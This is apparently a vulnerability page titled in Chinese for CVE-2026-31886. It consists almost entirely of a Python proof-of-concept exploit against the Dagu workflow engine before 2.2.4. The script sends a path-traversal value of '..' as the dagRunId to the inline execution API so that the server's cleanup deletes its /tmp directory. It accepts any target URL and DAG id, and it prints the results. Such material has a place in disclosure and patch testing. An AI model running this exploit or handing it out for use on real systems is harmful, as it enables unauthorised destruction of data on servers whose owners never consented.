CVE-2026-31886 Dagu工作流引擎路径遍历导致任意文件删除漏洞

import requests import sys # CVE-2026-31886 PoC - Path Traversal leading to Arbitrary File Deletion # Target: Dagu workflow engine < 2.2.4 def exploit(target_url, dag_id, dag_run_id=".."): """ Exploit the path traversal vulnerability in Dagu's inline DAG execution endpoint. By setting dagRunId to "..", the temporary directory cleanup will delete /tmp """ endpoint = f"{target_url}/api/v1/executions/inline/{dag_id}" payload = { "dagRunId": dag_run_id, # Path traversal payload "params": {} } print(f"[*] Targeting: {endpoint}") print(f"[*] Sending malicious dagRunId: {dag_run_id}") try: response = requests.post(endpoint, json=payload, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") if response.status_code == 200: print("[!] Request sent successfully. /tmp directory may be deleted.") else: print("[-] Request failed or vulnerability may be patched.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <dag_id>") print(f"Example: python {sys.argv[0]} http://localhost:8080 test-dag") sys.exit(1) target = sys.argv[1] dag_id = sys.argv[2] exploit(target, dag_id)